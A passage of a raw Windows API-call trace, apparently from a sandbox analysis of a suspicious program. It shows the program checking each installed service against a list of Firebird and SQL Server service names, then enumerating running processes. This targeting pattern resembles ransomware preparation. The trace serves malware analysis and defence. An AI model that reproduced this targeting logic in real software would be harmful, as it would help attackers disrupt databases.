lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0266.158] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0266.158] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0266.158] lstrlenW (lpString="CryptSvc") returned 8 [0266.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.192] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.192] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.192] lstrlenW (lpString="DcomLaunch") returned 10 [0266.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.193] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.193] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.193] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.193] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.193] lstrlenW (lpString="DeviceAssociationService") returned 24 [0266.193] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0266.361] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0266.361] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0266.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0266.362] lstrlenW (lpString="Dhcp") returned 4 [0266.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.362] lstrlenW (lpString="DmEnrollmentSvc") returned 15 [0266.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0266.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DmEnrollmentSvc") returned 1 [0266.362] lstrcmpiW (lpString1="sqlwriter", lpString2="DmEnrollmentSvc") returned 1 [0266.362] lstrcmpiW (lpString1="mssqlserver", lpString2="DmEnrollmentSvc") returned 1 [0266.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DmEnrollmentSvc") returned 1 [0266.362] lstrlenW (lpString="Dnscache") returned 8 [0266.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.362] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.362] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.362] lstrlenW (lpString="DPS") returned 3 [0266.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.363] lstrlenW (lpString="DusmSvc") returned 7 [0266.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0266.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0266.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0266.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0266.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0266.363] lstrlenW (lpString="EventLog") returned 8 [0266.363] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0266.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0266.363] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0266.363] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0266.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0266.364] lstrlenW (lpString="EventSystem") returned 11 [0266.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.364] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.364] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.368] lstrlenW (lpString="FontCache") returned 9 [0266.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0266.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0266.368] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0266.368] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0266.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0266.368] lstrlenW (lpString="gpsvc") returned 5 [0266.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.368] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.368] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.368] lstrlenW (lpString="iphlpsvc") returned 8 [0266.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.369] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.369] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.369] lstrlenW (lpString="KeyIso") returned 6 [0266.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0266.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0266.369] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0266.369] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0266.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0266.369] lstrlenW (lpString="LanmanServer") returned 12 [0266.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.369] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.369] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.369] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.370] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.370] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.370] lstrlenW (lpString="lfsvc") returned 5 [0266.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0266.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0266.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0266.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0266.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0266.370] lstrlenW (lpString="lmhosts") returned 7 [0266.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.370] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.370] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.729] lstrlenW (lpString="LSM") returned 3 [0266.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0266.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0266.729] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0266.729] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0266.729] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0266.729] lstrlenW (lpString="MpsSvc") returned 6 [0266.729] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.729] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.729] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.729] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.730] lstrlenW (lpString="NcbService") returned 10 [0266.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0266.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0266.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0266.730] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0266.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0266.730] lstrlenW (lpString="netprofm") returned 8 [0266.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.730] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.730] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.730] lstrlenW (lpString="NgcSvc") returned 6 [0266.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0266.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0266.730] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0266.731] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0266.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0266.731] lstrlenW (lpString="NlaSvc") returned 6 [0266.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.731] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.731] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.731] lstrlenW (lpString="nsi") returned 3 [0266.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.731] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.731] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.731] lstrlenW (lpString="PcaSvc") returned 6 [0266.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.732] lstrlenW (lpString="PlugPlay") returned 8 [0266.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.732] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.732] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.732] lstrlenW (lpString="Power") returned 5 [0266.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.733] lstrlenW (lpString="ProfSvc") returned 7 [0266.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.733] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.733] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.733] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.733] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.733] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.733] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.733] lstrlenW (lpString="RpcSs") returned 5 [0266.733] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.733] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.733] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.734] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.734] lstrlenW (lpString="SamSs") returned 5 [0266.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.734] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.734] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.734] lstrlenW (lpString="Schedule") returned 8 [0266.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.734] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.734] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.734] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.734] lstrlenW (lpString="SecurityHealthService") returned 21 [0266.734] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0266.734] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0266.735] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0266.735] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0266.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0266.735] lstrlenW (lpString="SENS") returned 4 [0266.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.735] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.735] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.735] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.735] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.735] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.735] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.735] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.735] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.735] lstrlenW (lpString="Spooler") returned 7 [0266.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.736] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.736] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.736] lstrlenW (lpString="StateRepository") returned 15 [0266.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0266.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0266.736] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0266.736] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0266.736] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0266.736] lstrlenW (lpString="SysMain") returned 7 [0266.736] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.736] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.736] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.737] lstrlenW (lpString="SystemEventsBroker") returned 18 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0266.737] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0266.737] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0266.737] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0266.737] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0266.737] lstrlenW (lpString="Themes") returned 6 [0266.737] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.738] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.738] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.738] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.738] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45d9458 | out: hHeap=0x640000) returned 1 [0266.738] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x53c [0266.743] Process32FirstW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0266.744] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0266.745] lstrlenW (lpString="System") returned 6 [0266.745] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0266.746] lstrlenW (lpString="smss.exe") returned 8 [0266.746] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.747] lstrlenW (lpString="csrss.exe") returned 9 [0266.747] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0266.748] lstrlenW (lpString="wininit.exe") returned 11 [0266.748] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0266.749] lstrlenW (lpString="csrss.exe") returned 9 [0266.749] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0266.750] lstrlenW (lpString="winlogon.exe") returned 12 [0266.750] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0266.752] lstrlenW (lpString="services.exe") returned 12 [0266.752] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0266.753] lstrlenW (lpString="lsass.exe") returned 9 [0266.753] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.754] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0266.754] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0266.755] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0266.755] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.756] lstrlenW (lpString="svchost.exe") returned 11 [0266.756] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.757] lstrlenW (lpString="svchost.exe") returned 11 [0266.757] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0266.875] lstrlenW (lpString="dwm.exe") returned 7 [0266.875] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x34, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0266.876] lstrlenW (lpString="svchost.exe") returned 11 [0266.876] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.136] lstrlenW (lpString="svchost.exe") returned 11 [0267.136] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.137] lstrlenW (lpString="svchost.exe") returned 11 [0267.137] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0267.138] lstrlenW (lpString="svchost.exe") returned 11 [0267.139] Process32NextW (in: hSnapshot=0x53c, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, 